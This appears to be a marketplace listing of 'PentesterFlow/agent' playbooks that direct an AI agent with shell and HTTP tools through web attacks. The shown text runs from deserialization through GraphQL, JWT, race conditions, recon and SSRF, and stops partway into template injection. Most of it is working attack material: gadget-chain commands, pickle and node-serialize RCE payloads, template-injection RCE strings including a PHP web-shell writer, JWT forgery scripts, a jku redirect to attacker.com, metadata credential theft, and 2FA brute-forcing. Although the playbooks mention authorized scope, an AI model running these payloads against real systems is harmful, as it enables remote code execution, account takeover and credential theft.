Agent Skills › PentesterFlow/agent

PentesterFlow/agent

GitHub

用于安全测试的技能,指导代理对目标执行探测、验证漏洞并报告结果。

11 skills 929

Install All Skills

npx skills add PentesterFlow/agent --all -g -y
More Options

List skills in collection

npx skills add PentesterFlow/agent --list

Skills in Collection (11)

用于安全测试的技能,指导代理对目标执行探测、验证漏洞并报告结果。
需要对指定目标进行安全探测时 用户请求执行渗透测试或漏洞验证任务时
skills/_template/SKILL.md
npx skills add PentesterFlow/agent --skill my-skill -g -y
SKILL.md
Frontmatter
{
    "name": "my-skill",
    "description": "One line on what this playbook does, then a \"Use when ...\" clause so the agent knows when to load it (e.g. \"Use when the target exposes X \/ you see Y in requests\"). Max 1024 chars. This description is the ONLY thing the model sees until it loads the skill — make the trigger conditions explicit, since there is no separate `triggers` list.",
    "allowed-tools": [
        "http",
        "shell",
        "file_write"
    ]
}

my-skill playbook

State the goal in one or two sentences — what the operator is trying to achieve — and the scope rules (authorized targets only).

1. First step

Concrete, copy-pasteable commands. Default to curl + the http tool; only reach for specialised scanners when the user asks.

curl -ksS "https://TARGET/..."

Reference bundled files (e.g. a wordlist under payloads/) with read_payloads(skill="my-skill", file="list.txt"), or shell scripts via the ${SKILL_DIR} placeholder:

${SKILL_DIR}/scripts/check.sh https://TARGET

2. Next step

...

Reporting

What proves the bug, the concrete impact in one sentence, and remediation. When you have a reproduced finding with a real request/response, call confirm_finding.

针对不安全反序列化漏洞的利用指南。涵盖Java、.NET、Python、PHP等格式指纹识别,提供ysoserial等工具生成Gadget链的方法,指导通过DNS确认及构造有效载荷实现RCE。
发现疑似反序列化的数据输入(如Cookie、参数) 需要检测或利用Java/.NET/Python/PHP的反序列化漏洞
skills/deserialize/SKILL.md
npx skills add PentesterFlow/agent --skill deserialize -g -y
SKILL.md
Frontmatter
{
    "name": "deserialize",
    "description": "Insecure-deserialization playbook — fingerprint the language\/format (Java serialized, .NET BinaryFormatter, Python pickle, PHP unserialize, Node serialize, YAML\/JSON-with-types), then build a working gadget chain with ysoserial \/ ysoserial.net \/ phpggc \/ custom pickle. Use when you see serialized blobs (rO0\/AC ED, base64 ViewState, PHP O:) or a parameter\/cookie that deserializes user input.",
    "allowed-tools": [
        "http",
        "shell",
        "read_payloads",
        "file_write"
    ]
}

Insecure deserialization playbook

You suspect a server is deserializing attacker-influenced data. RCE is on the table — but only if you ship the right gadget chain.

Execution rule: use real captured parameters, cookies, keys, and callback hosts before running commands. Never write literal placeholders such as <KEY> or <endpoint> to files; if key material or a sample blob is missing, ask once.

1. Fingerprint the format

Magic Format
rO0 (base64 of \xac\xed) Java serialized
\xac\xed\x00\x05 (raw) Java serialized
AAEAAAD///// (base64) or \x00\x01\x00\x00\x00\xff\xff\xff\xff .NET BinaryFormatter
__viewstate / __VIEWSTATE cookie or form field ASP.NET ViewState (often LosFormatter/BinaryFormatter underneath)
gASV (base64 of \x80\x05\x95), gAR, gAP (\x80\x04, \x80\x03) Python pickle
O: (e.g. O:8:"stdClass":0:{}) PHP serialize
_$$ND_FUNC$$_ / IIFE patterns Node node-serialize
!! tags inside YAML / !!python/object YAML with type resolution (PyYAML, SnakeYAML)
BSON / BinData MongoDB BSON — deserialization paths usually safe; check anyway

Source of the data matters: cookie, form field, file upload, query param, message queue, RPC framing.

2. Java

Default gadget toolkit: ysoserial (https://github.com/frohoff/ysoserial).

# Generate a payload using the CommonsCollections1 chain to run `id`
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Test it
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"

Chains worth iterating through (depends on classpath):

  • CommonsCollections1..7 — Apache Commons Collections.
  • Spring1, Spring2.
  • JRMPClient / JRMPListener — when the only thing that deserializes is a JRMP endpoint; chain with a hosted JRMP listener.
  • URLDNS — leak-only; useful as a confirm primitive (DNS hit proves deserialization happens).

Confirm-first workflow: start with URLDNS against a DNS canary. If you see the DNS hit, you have insecure deserialization. Then try RCE chains.

ViewState (.NET, ASP.NET Web Forms)

If __VIEWSTATE is not MAC-protected, or the MAC key is leaked / weak / default, use ysoserial.net:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "calc" \
  --path="/Default.aspx" --apppath="/" \
  --validationkey="<KEY>" --validationalg="HMACSHA256"

Confirming whether MAC is enforced: send __VIEWSTATE=AAEAAAD/////AQAAAAA= (a truncated stub). A ViewState MAC validation failed exception means MAC is on; a clean 500 deserialization stack trace means it's likely off.

3. .NET BinaryFormatter / Json.NET with TypeNameHandling

If you see Json.NET with TypeNameHandling = Auto/Objects/All, you can put $type in the payload:

{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}

Toolkit: ysoserial.net (https://github.com/pwntester/ysoserial.net) — covers BinaryFormatter, ObjectStateFormatter, NetDataContractSerializer, etc.

4. Python pickle

If you can submit raw pickled bytes (cookie, form, file upload, message queue payload), RCE is trivial:

import pickle, os, base64
class E:
    def __reduce__(self):
        return (os.system, ('id > /tmp/proof',))
print(base64.b64encode(pickle.dumps(E())).decode())

Then submit base64 (or raw bytes, depending on transport).

Variants:

  • __reduce_ex__ instead of __reduce__ when targeting specific protocols.
  • pickle.loads on protocol-5 with out-of-band buffers — different surface.

PyYAML

!!python/object/apply:os.system ["id"]

Or:

!!python/object/new:os.system ["id"]

Modern PyYAML defaults to SafeLoader — only yaml.load() (no Loader arg) on old versions is vulnerable, but plenty of code still uses yaml.load(...) explicitly.

5. PHP unserialize

If user input lands in unserialize(), look for POP (Property-Oriented Programming) chains: existing classes in the codebase with __wakeup / __destruct / __toString magic methods that can be chained.

Toolkit: phpggc (https://github.com/ambionics/phpggc).

phpggc -b Symfony/RCE4 system 'id'   # base64-encoded gadget for Symfony 4
phpggc Laravel/RCE6 system 'id'
phpggc Drupal7/FW1 phpinfo

Variants worth trying:

  • O:8:"stdClass":0:{} — confirms unserialize() works at all (no exception).
  • Phar deserialization: triggered by file_exists("phar://...") etc., not direct unserialize input. Look for Phar, file_exists, is_file with attacker-controlled paths.

6. Node — node-serialize

The npm node-serialize package's unserialize() accepts function strings prefixed with _$$ND_FUNC$$_ and evals them:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id');}()"}

This is a one-shot — modern code rarely uses it.

7. Confirming impact

Pickle / yysoserial / phpggc all support a DNS or HTTP callback gadget (e.g. URLDNS for Java, simple system("curl ...") for the others). Use those to confirm deserialization happens before firing real exec — easier to attribute, smaller blast radius.

Once confirmed, the exec PoC should:

  • Run id and capture stdout, OR
  • Read a non-sensitive file (/etc/hostname) and surface its content.

Don't drop a reverse shell on a real engagement without explicit written authorization.

Reporting

Required:

  • Format identified (Java serialized / pickle / etc.) with the magic-byte evidence.
  • The exact endpoint + parameter / cookie that ingests it.
  • A working gadget payload (base64'd if binary), and command run to generate it.
  • Output of id (or equivalent proof) and the matching server response.
  • Note any preconditions that limit exploitability (specific classpath, key disclosure required, etc.) — affects severity.
GraphQL渗透测试技能,用于发现端点、枚举Schema(含绕过WAF),并检测授权漏洞、查询批处理、别名过载、深度DoS及解析器注入。适用于暴露GraphQL接口的目标。
目标存在/graphql等端点 目标支持GraphiQL或Apollo 需要测试GraphQL接口安全性
skills/graphql/SKILL.md
npx skills add PentesterFlow/agent --skill graphql -g -y
SKILL.md
Frontmatter
{
    "name": "graphql",
    "description": "GraphQL pentest playbook — find the endpoint, dump the schema (introspection or field-suggestion fallback), then test for authorization gaps, query batching, alias overload, depth-based DoS, and SQLi\/NoSQLi in resolver arguments. Use when the target exposes a \/graphql endpoint, GraphiQL, Apollo, or accepts GraphQL queries.",
    "allowed-tools": [
        "http",
        "shell",
        "read_payloads",
        "file_write"
    ]
}

GraphQL playbook

Execution rule: resolve the real GraphQL endpoint first, then run concrete http/curl requests against it. Never write literal placeholders such as <other-id> to files; ask once if required IDs or sessions are missing.

Standard endpoints to probe first (use http with GET / POST): /graphql, /graphiql, /api/graphql, /v1/graphql, /v2/graphql, /query, /api/query.

1. Confirm it's GraphQL

POST a tiny query — every implementation answers this:

{"query":"{__typename}"}

A reply containing {"data":{"__typename":"Query"}} confirms the endpoint. Note the response shape: { "data": ..., "errors": [...] }.

2. Schema discovery

2a. Introspection (the easy path)

{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"}

Save the response — every later attack starts from this schema. Use file_write to keep it next to the engagement notes.

2b. Introspection disabled? Use field suggestions

Apollo and most other servers leak field names through error messages:

{"query":"{ user { secrt } }"}

Reply often contains Did you mean "secret"?. Iterate to enumerate the schema field-by-field. Read read_payloads(skill="graphql", file="field-suggestion-probes.txt") for a starter list.

2c. Aliased introspection bypass

Some WAFs / middleware block the __schema keyword. Bypass with an alias:

{"query":"query { my_alias: __schema { types { name } } }"}

Or use __type(name: "User") instead of __schema to dump types one at a time.

2d. Mutation / subscription via GET

Some servers enforce auth only on POST. Try the same query as a GET:

GET /graphql?query={__schema{types{name}}}

3. Authorization gaps

GraphQL queries hit many resolvers; auth checks often live on outer fields only. Look for inner resolvers (user.email, order.shippingAddress) that fetch without scoping to the caller.

Test patterns:

  • Same field through different roots: me { email } vs user(id: <other-id>) { email }.
  • Nested traversal: order(id: X) { user { email phone } } — does it leak fields you can't access directly?
  • IDOR via mutation: updateProfile(input: { userId: <other-id>, ... }).

4. Query batching

Some servers accept a JSON array as the request body, processing each query independently. Use this to:

  • Bypass per-request rate limits.
  • Brute-force a 2FA code or password reset token in a single HTTP request:
[{"query":"mutation{login(user:\"x\",pin:\"0001\"){token}}"},{"query":"mutation{login(user:\"x\",pin:\"0002\"){token}}"},{"query":"mutation{login(user:\"x\",pin:\"0003\"){token}}"}]

5. Alias overload — same endpoint, many resolves per request

{"query":"{ a1: secret a2: secret a3: secret a4: secret ... a1000: secret }"}

If the server doesn't cap aliases, you get N × the resolver cost in one request. Use to:

  • Brute-force credentials at line speed (each alias is a fresh login(...)).
  • Trigger DoS via expensive resolvers.

6. Depth attacks

Recursive queries through cyclic types:

{ user { friends { friends { friends { friends { id } } } } } }

If the server has no depthLimit, you get exponential expansion. Confirm DoS only against authorized lab targets.

7. SQLi / NoSQLi / SSRF in resolver args

Resolvers often pass arguments straight into a query. Try:

{"query":"query($id:String!){ user(id:$id){name} }","variables":{"id":"1' OR '1'='1"}}
{"query":"{ user(id: \"{$ne: null}\") { name } }"}

For SSRF, look for fields that fetch URLs server-side (image(url: ...), webhook(url: ...) — chain into the [[ssrf]] skill).

8. CSRF on POST

If the endpoint accepts application/x-www-form-urlencoded or doesn't check Origin/CSRF token, GraphQL mutations are CSRF-able. Try:

POST /graphql
Content-Type: application/x-www-form-urlencoded

query=mutation{deleteUser(id:1)}

Reporting

When confirming, always include:

  • Schema dump (or partial enumerated via 2b) as evidence of the discovery method.
  • The exact JSON payload + the HTTP request as a curl one-liner.
  • Concrete impact (which fields leak, whose data, what mutation succeeded).

If the only finding is "introspection enabled," that alone is info unless the schema reveals private fields. Don't file P5 noise.

JWT攻击演练技能,涵盖alg=none绕过、HS/RS混淆、kid路径遍历与SQL注入、JKU/X5U SSRF及弱密钥破解。用于对采用JWT认证的目标进行身份伪造和权限提升测试。
目标系统使用JWT进行身份验证 发现有效的JWT令牌需进行安全测试 需要测试JWT算法配置缺陷或密钥管理漏洞
skills/jwt/SKILL.md
npx skills add PentesterFlow/agent --skill jwt -g -y
SKILL.md
Frontmatter
{
    "name": "jwt",
    "description": "JWT attack playbook — algorithm confusion (alg=none, HS\/RS confusion), kid path traversal\/SQLi, jku\/x5u SSRF, weak HS256 cracking, and embedded JWK trickery. Use when the target uses JWTs for auth (header.payload.signature).",
    "allowed-tools": [
        "http",
        "shell",
        "read_payloads",
        "file_write"
    ]
}

JWT playbook

You have one or more eyJ... tokens. The goal is to forge an authenticated token that the server accepts.

Execution rule: use real tokens, URLs, and keys from the scoped target before running commands. Never write literal placeholders such as <payload-b64> or <future> to files; if a value is missing, ask once.

0. Decode every token you have

Base64url-decode header and payload. Note:

  • alg — algorithm. none, HS256, HS384, HS512, RS256, RS384, RS512, ES256, ES384, ES512, PS256...
  • kid — key identifier (path / id pointing at a key on the server).
  • jku — URL to a JWK Set hosting the signing keys.
  • jwk — embedded JWK.
  • x5u — URL to an X.509 certificate.
  • x5c — embedded X.509 chain.
echo "<payload-b64>" | base64 -d | jq .

Capture the user id / role field for later forgery (sub, uid, role, isAdmin, ...).

1. alg=none

Many libraries used to (and a few still do) accept {"alg":"none"} and skip signature verification. Forge:

header  = base64url({"alg":"none","typ":"JWT"})
payload = base64url({"sub":"admin","role":"admin","exp":<future>})
signature = ""           # empty, but the trailing dot stays
token = header + "." + payload + "."

Variants to try: none, None, NONE, NoNe (case fuzzing) — read_payloads(skill="jwt", file="alg-none-variants.txt").

2. HS/RS algorithm confusion

If the server expects RS256 (asymmetric, verifies with public key) and you can obtain the public key, you can forge an HS256 token signed with the public key as the HMAC secret.

Find the public key:

  • /.well-known/jwks.json, /jwks.json, /api/jwks, /oauth2/jwks, /jwks_uri from OIDC discovery.
  • Sometimes embedded in a JS bundle (grep -E "BEGIN PUBLIC KEY" -r).

Forge with hs-rs-confusion.sh:

PUB=$(curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' | jose key -i- -O pem.pub)
HEAD=$(printf '%s' '{"alg":"HS256","typ":"JWT"}' | base64url)
PAYL=$(printf '%s' '{"sub":"admin","exp":2000000000}' | base64url)
SIG=$(printf '%s.%s' "$HEAD" "$PAYL" | openssl dgst -sha256 -hmac "$(cat pem.pub)" -binary | base64url)
echo "$HEAD.$PAYL.$SIG"

(base64url here is base64 | tr '+/' '-_' | tr -d '='.)

3. kid path traversal / SQLi

kid is often used as a database lookup or file path. Try injecting:

  • ../../../../../../dev/null — server reads /dev/null (empty string) as the key. HMAC over an empty key is predictable; sign with "".
  • ../../../../../../etc/passwd — succeeds if the server is parsing the file as the key. (Has happened.)
  • SQLi: kid = ' UNION SELECT 'aaaa' -- — server returns "aaaa" as the key, sign with that.
  • Null-byte truncation on older parsers.

Payloads in read_payloads(skill="jwt", file="kid-injection.txt").

4. jku / x5u → SSRF + key control

If the server fetches the JWKS at the URL in the jku (or x5u) header, you control the key:

  1. Host your own JWKS containing a key you generated.
  2. Sign the token with the matching private key.
  3. Set jku to your URL.

Bypasses if the server validates jku against a domain:

  • Open redirect on the trusted domain: jku=https://target.com/redirect?to=attacker.com/jwks.json.
  • @ trick: jku=https://target.com@attacker.com/jwks.json.
  • Subdomain takeover on a wildcard-trusted domain.

If the validation rejects you entirely, this is still a server-side fetch — escalate per the [[ssrf]] skill (hit metadata, internal hosts) even without forging a token.

5. Embedded jwk

Some libraries trust an embedded jwk in the header. Generate a fresh keypair, embed the public key in the header, sign with the private key — the server uses what you embedded.

# minimal forge using python-jose / authlib

6. Weak HS256 secret

If alg=HS256, try to crack the HMAC secret offline:

hashcat -m 16500 token.jwt rockyou.txt
john --format=HMAC-SHA256 token.jwt

Common secrets to try first: secret, your-256-bit-secret, change-me, the company name, the API base hostname, an env-var-looking string. See read_payloads(skill="jwt", file="weak-secrets.txt").

7. Header smuggling / cty confusion

  • cty: "JWT" — chain another JWT inside; some libraries unwrap.
  • Duplicate keys in the JSON header (some parsers take first, others last).
  • Trailing data after the signature (some parsers ignore).

8. Sliding-window expiry

exp not enforced? nbf in the future ignored? Replay a long-expired admin token.

Reporting

Required evidence:

  • The original token (redact sensitive payload fields).
  • The forged token (full).
  • The exact request that demonstrates impact (e.g. GET /api/admin/users with the forged token returns 200 with user data).
  • Server response showing privileges granted.

For "alg=none accepted" without a payload that actually unlocks something useful, that's typically Medium / Low — call out the specific endpoints that the forged token authenticates to.

提供竞态条件(Race Condition)和TOCTOU漏洞的测试方案。涵盖单包攻击、HTTP/1.1管道化等技术,用于检测礼品卡、优惠券、余额扣除等场景下的并发逻辑缺陷及文件上传竞争问题。
礼品卡或促销代码重复兑换 余额转账或扣款的并发请求 一次性验证码的并行尝试 文件上传与读取的竞争操作 需要验证时间敏感逻辑的业务场景
skills/race/SKILL.md
npx skills add PentesterFlow/agent --skill race -g -y
SKILL.md
Frontmatter
{
    "name": "race",
    "description": "Race condition \/ TOCTOU playbook — limit overrun (one-time codes used twice, gift cards spent twice), single-packet attack (last-byte sync) to force parallel processing, and state-confusion races (file upload + read, order before payment). Use when timing-sensitive logic could be abused — one-time codes, coupons\/gift cards, balance or limit checks, double-spend.",
    "allowed-tools": [
        "http",
        "shell",
        "file_write"
    ]
}

Race / TOCTOU playbook

Confirm the target is in scope for stress-style testing (multiple parallel requests can look like abuse). Then identify the candidate operation.

Execution rule: capture a real request for the operation and replay that request with concrete cookies/body values. Never write literal placeholders such as <sess> to files; ask once if a session or replayable request is missing.

Targets worth racing

  • Redeem a gift card / promo code (does the second redeem succeed?)
  • Cast a vote / claim a one-per-user reward
  • Withdraw / transfer balance (does it deduct twice?)
  • Submit a 2FA code (can N parallel guesses each be checked against an unused-attempts counter?)
  • Apply a discount that's supposed to be once-per-cart
  • Send a friend / invite request (creates duplicate rows / privileges)
  • Confirm an email (mark verified twice with different addresses)
  • Upload then read a file (write safe.png, then race a swap to evil.svg before AV scans)

1. Burp-style "single packet attack" (last-byte sync) — preferred

Modern servers buffer HTTP/2 frames. The classic trick: send N requests where each is fully serialized except the last byte. Then in a single TCP write, flush the final byte of all N. The server receives them effectively simultaneously and dispatches them in parallel — bypassing nearly all software-side rate limiting.

You can do this with a small Go/Python script. Skeleton (Python, HTTP/2):

import asyncio, ssl
import httpx

async def main():
    transport = httpx.AsyncHTTPTransport(http2=True)
    async with httpx.AsyncClient(transport=transport, verify=False) as c:
        # Build N partial requests, then race the last byte.
        # In practice: use turbo-intruder or a Go h2 client for byte-level control.
        ...
asyncio.run(main())

For the highest-fidelity version, use Burp Suite's Turbo Intruder (race-single-packet-attack.py template) — it's the de facto tool. The shell tool can run it if installed.

2. Fallback: HTTP/1.1 pipelined burst

If HTTP/2 isn't available, fire N requests over a single keep-alive connection back-to-back without waiting for responses:

# 50 parallel uses of the same coupon code
seq 50 | xargs -P 50 -I{} curl -s -X POST https://target/redeem \
  -H 'Cookie: session=<sess>' \
  -d 'code=GIFT100'

Less reliable than single-packet but often enough.

3. Confirm a race actually happened

For each candidate operation, measure the invariant twice:

  • Before: query balance / count / state.
  • Fire N parallel requests.
  • After: query balance / count / state.

If invariant differs by more than 1× the per-request delta, you have a race. Example: gift card worth $50, used 5× before lockout → $250 credit. Confirmed.

4. TOCTOU on file/auth flows

Time-Of-Check / Time-Of-Use bugs:

  • Upload + scan + serve: race the swap between AV scan and final write.
  • "Is admin?" check on session, then long-running task that uses the role: race a logout/role-change between the check and the use.
  • Symlink race on file-write tools that write through user-supplied paths.

5. Mitigation patterns (so you know what defeats you)

If you see any of these, the race probably isn't winnable — refocus:

  • SELECT ... FOR UPDATE / explicit row lock.
  • Optimistic concurrency: every update carries a version field that's CAS'd.
  • Idempotency keys on the request: server stores the key+result and replays.
  • UNIQUE (user_id, code_id) constraint with ON CONFLICT DO NOTHING.

Reporting

Required for a credible finding:

  • The exact race window measured (N=50, mean=20ms apart).
  • Before / after invariant query results.
  • Concrete impact: "$X credit overspent" / "Y duplicate privileged rows created" / "Z brute-force guesses processed before lockout".

A race with no measurable impact (e.g., creates a second pending order that the next cron job dedupes) is info at best.

用于对授权域名进行攻击面映射,包括子域枚举、存活探测、技术指纹识别和内容发现。默认使用curl和http工具,避免引入专用扫描器,确保操作精准且符合范围限制。
用户给定根域名或顶级域名并请求攻击面映射 需要被动子域枚举和主动存活探测
skills/recon/SKILL.md
npx skills add PentesterFlow/agent --skill recon -g -y
SKILL.md
Frontmatter
{
    "name": "recon",
    "description": "External recon playbook for a web target — subdomain enumeration, live-host probing, tech fingerprinting, and a first pass at content discovery. Use when the user gives you a root domain or apex and wants attack surface mapping.",
    "allowed-tools": [
        "shell",
        "http",
        "file_write"
    ]
}

Recon playbook

You have been asked to map the attack surface of a domain the user is authorized to test. Stay surgical — do not scan IP ranges or third-party assets.

Default to curl and the built-in http tool. Do not pull in specialized scanners (subfinder, httpx, ffuf, gobuster, etc.) unless the user explicitly asks for them.

Execution rule: substitute the real apex/host into commands before running them. Never write literal placeholders such as <APEX>, <HOST>, or <subdomains> to files. If the apex is unclear, ask once before running commands.

1. Confirm scope

Before running anything, restate the apex domain and ask the user to confirm it is in scope (only ask if scope was not already explicit in the conversation). Note any explicit out-of-scope subdomains or paths.

2. Passive subdomain enumeration with curl

Pull from public CT logs — no extra tooling required. Note: crt.sh is flaky and frequently answers with a 502/HTML page or an empty body instead of JSON. Piping that straight into jq is what throws jq: parse error: Invalid numeric literal. Validate the body is JSON before parsing, and retry with backoff:

# Robust crt.sh pull — quiet retries, parse only valid JSON.
APEX="example.com" # replace with the scoped apex before running
mkdir -p "recon/$APEX"
: > subs.txt
for attempt in 1 2 3; do
  resp=$(curl -fsS --max-time 30 -H 'Accept: application/json' \
    "https://crt.sh/?q=%25.$APEX&output=json" 2>/dev/null || true)
  if printf '%s' "$resp" | jq -e 'type == "array"' >/dev/null 2>&1; then
    printf '%s' "$resp" \
      | jq -r '.[].name_value' \
      | sed 's/^\*\.//' \
      | tr 'A-Z' 'a-z' | tr -d '\r' \
      | sort -u > subs.txt
    break
  fi
  sleep 3   # crt.sh is rate-limited / returns 502 under load
done
[ -s subs.txt ] || printf 'warning: crt.sh unavailable or returned non-JSON; try OTX or another source\n' >&2

name_value is newline-separated and may include wildcard (*.) entries; the sed/sort -u above normalizes and dedupes them. If /target is pinned, derive the real apex from that target before running.

For a second source, layer on AlienVault OTX (also guard the JSON):

APEX="example.com" # replace with the scoped apex before running
otx=$(curl -fsS --max-time 30 "https://otx.alienvault.com/api/v1/indicators/domain/$APEX/passive_dns" 2>/dev/null)
printf '%s' "$otx" | jq -e . >/dev/null 2>&1 \
  && printf '%s' "$otx" | jq -r '.passive_dns[].hostname' | sort -u >> subs.txt
sort -u -o subs.txt subs.txt

Save the deduped list with file_write to recon/$APEX/subs.txt.

Only reach for subfinder / amass / assetfinder if the user names them or the apex is large enough that crt.sh paging starts to drop results.

3. Liveness + tech fingerprinting with curl

For each candidate, send a single GET and capture status, title, and key headers. Tight bash loop:

while read h; do
  curl -ksS -o /tmp/body -w "%{http_code}\t%{url_effective}\t%header{server}\t%header{x-powered-by}\n" \
    --max-time 8 "https://$h/" 2>/dev/null \
    | awk -F'\t' -v host="$h" '{title=""; getline title < "/tmp/body"; sub(/.*<title>/,"",title); sub(/<\/title>.*/,"",title); print $0"\t"title}'
done < subs.txt > httpx.txt

If you need more than that (favicon hashing, full tech fingerprinting on hundreds of hosts), say so and ask the user whether to install/run httpx.

4. Content discovery with curl + a wordlist

For 2-3 hosts that look custom (admin panels, staging, dashboards), do a focused wordlist sweep with curl:

HOST="app.example.com" # replace with an interesting live host before running
WORDLIST=/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
while read w; do
  code=$(curl -ksS -o /dev/null -w "%{http_code}" --max-time 5 "https://$HOST/$w")
  case "$code" in 200|204|301|302|401|403) echo "$code /$w";; esac
done < "$WORDLIST" | tee "ffuf-$HOST.txt"

Use -w "%{http_code} %{size_download}\n" if you also want to filter by body size. Pick a small wordlist first — escalate to medium only if the small one produces signal.

Only use ffuf or gobuster if the user explicitly asks for them.

5. Summarize

Write a recon/$APEX/summary.md with:

  • Counts: total subdomains, live hosts, by tech stack
  • Top 10 interesting hosts (with one-line reasons)
  • Candidate next steps (auth flows to inspect, admin endpoints, exposed configs, JS files worth diffing)
用于深度测试SSRF漏洞。通过验证回连、探测过滤规则、访问云元数据及内部服务,最终证明影响并生成报告。适用于参数接收URL或域名的场景。
目标参数明显接受URL或主机名 怀疑参数被服务端获取
skills/ssrf/SKILL.md
npx skills add PentesterFlow/agent --skill ssrf -g -y
SKILL.md
Frontmatter
{
    "name": "ssrf",
    "description": "Deep-dive SSRF testing — bypass filters, hit cloud metadata, chain to RCE\/credential disclosure. Use when a target parameter clearly accepts a URL or hostname.",
    "allowed-tools": [
        "http",
        "shell",
        "file_write"
    ]
}

SSRF playbook

You suspect a parameter is being fetched server-side. Confirm it, escalate it, prove impact.

Execution rule: use the actual parameter, callback host, and target URL before running commands. Never write literal placeholders such as <endpoint> or <role> to files; if the collaborator/canary host is missing, ask once.

1. Confirm the primitive

Send the http request with the parameter pointing to:

  • An out-of-band canary the user provides (interactsh / burp collaborator / a netcat listener they own)
  • Compare to a control value to confirm the server is doing the fetch

If the canary fires, you have at minimum a blind SSRF.

2. Map filter behavior

Probe how the server validates the URL. For each probe, capture status and body:

  • http://127.0.0.1, http://localhost, http://0.0.0.0
  • IPv6: http://[::1], http://[::ffff:127.0.0.1]
  • Decimal/octal: http://2130706433, http://0177.0.0.1
  • DNS rebinding hosts the user provides
  • Schemes: gopher://, file:///etc/passwd, dict://, ftp://
  • Redirect chain: a user-controlled URL that 302s to internal target

Group probes by outcome to fingerprint the parser (Python urllib? Java URL? curl? net/http?).

3. Hit cloud metadata

If you suspect AWS:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

If IMDSv2 is enforced, attempt to obtain the token via the same SSRF if the primitive supports headers.

For GCP: http://metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google. For Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 with Metadata: true.

4. Internal service discovery

With the SSRF confirmed, sweep common internal ports/paths from the victim's perspective: :80, :443, :6379 (Redis), :9200 (Elastic), :8500 (Consul), :2375 (Docker), :25 (SMTP). Use response time + body fingerprint.

5. Prove impact

  • Stolen credentials → demonstrate by listing one S3 bucket / one GCS bucket the role can reach (read-only).
  • Internal admin panel → fetch a single page that's clearly internal.
  • Source code / config disclosure → grab one file via file:// or internal HTTP.

Write a report to findings/ssrf-<endpoint>.md with the exact request, the exact response, and the impact you proved. Stop there.

用于检测和执行服务端模板注入(SSTI)漏洞。通过指纹识别模板引擎(如Jinja2、Twig等),并利用特定原语绕过限制,实现远程代码执行或沙箱逃逸。
用户输入被反射到服务器端模板中 {{7*7}} 输出结果为 49
skills/ssti/SKILL.md
npx skills add PentesterFlow/agent --skill ssti -g -y
SKILL.md
Frontmatter
{
    "name": "ssti",
    "description": "Server-Side Template Injection — fingerprint the engine first (Jinja2 \/ Twig \/ Velocity \/ Freemarker \/ ERB \/ Smarty \/ Mako \/ Handlebars \/ Pug), then escalate the engine-specific primitive to RCE or sandbox escape. Use when user input is reflected through a template engine (Jinja2\/Twig\/Velocity\/Freemarker\/ERB\/Smarty\/Mako\/Handlebars\/Pug) or {{7*7}} evaluates to 49.",
    "allowed-tools": [
        "http",
        "shell",
        "read_payloads",
        "file_write"
    ]
}

SSTI playbook

You suspect user input is concatenated into a server-side template. The classic tell: {{7*7}} renders as 49 (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.

Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with http/curl.

1. Fingerprint the engine — fast

Use read_payloads(skill="ssti", file="fingerprint-polyglot.txt") for the canonical multi-engine probe:

${7*7}
{{7*7}}
<%= 7*7 %>
*{7*7}
{{7*'7'}}

Cross-reference results:

Render result Engine
49 from {{7*7}} AND 7777777 from {{7*'7'}} Jinja2 (Python)
49 from {{7*7}} AND 49 from {{7*'7'}} Twig (PHP)
49 from ${7*7} Velocity / Freemarker / Mako (probe further)
49 from <%= 7*7 %> ERB (Ruby) / EJS (Node)
49 from *{7*7} Smarty
Output of {{7*7}} literally Not an SSTI primitive — look elsewhere

Distinguish Velocity from Freemarker: ${"foo".getClass()} returns class java.lang.String for both; Freemarker chokes on <#assign> outside a template block; Velocity specifically renders #set($x=7*7)$x as 49.

2. Engine-specific exploitation

Jinja2 (Python, Flask)

{{ ''.__class__.__mro__[1].__subclasses__() }}

Find an index where the subclass is <class 'subprocess.Popen'> (commonly 200–400). Then:

{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}

Bypass blacklists with attribute proxies:

{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}

Payloads: read_payloads(skill="ssti", file="jinja2.txt").

Twig (PHP, Symfony)

Twig blocks most function access. Two proven escapes:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Older versions: {{['id',1]|sort('passthru')}}.

Velocity (Java, NVelocity)

#set($e="exp")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("id")

Freemarker (Java)

Built-in ?eval, or the classic exec gadget:

<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}

ERB (Ruby)

<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>

Smarty (PHP)

{php}echo `id`;{/php}    {# pre-3.1.30 #}
{system('id')}           {# some forks #}

Newer Smarty: {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']);?>",self::clearConfig())}.

Mako (Python)

${self.module.cache.util.os.popen('id').read()}
